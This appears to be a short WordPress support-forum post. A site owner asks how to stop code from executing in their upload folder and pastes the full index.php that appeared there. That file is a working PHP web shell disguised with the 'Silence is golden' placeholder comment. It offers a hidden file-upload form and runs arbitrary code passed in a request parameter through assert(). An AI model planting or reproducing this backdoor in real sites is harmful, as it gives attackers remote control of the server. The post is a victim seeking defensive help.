How to disable code execution for upload folder
-
Something in my site is causing/allowing a file called index.php to write to my upload folder. The file reads:
<?php if(@isset($_GET[bots])){echo ‘<form action=”” method=”post” enctype=”multipart/form-data” name=”silence” id=”silence”>’;echo ‘<input type=”file” name=”file”><input name=”golden” type=”submit” id=”golden” value=”Done”></form>’;if($_POST[‘golden’]==”Done”){if(@copy($_FILES[‘file’][‘tmp_name’],$_FILES[‘file’][‘name’])){echo’+’;}else{echo’-‘;}}}elseif(isset($_REQUEST[‘bot’]))assert(stripslashes($_REQUEST[bot]));else exit;
// Silence is golden.I’ve been told that there should be an option in Wordfence that will allow me to disable code execution for upload directory. Unfortunately, I cannot find it and because I’m a designer not a coding expert, I am unable to write my own instruction. Can anyone help?
The topic ‘How to disable code execution for upload folder’ is closed to new replies.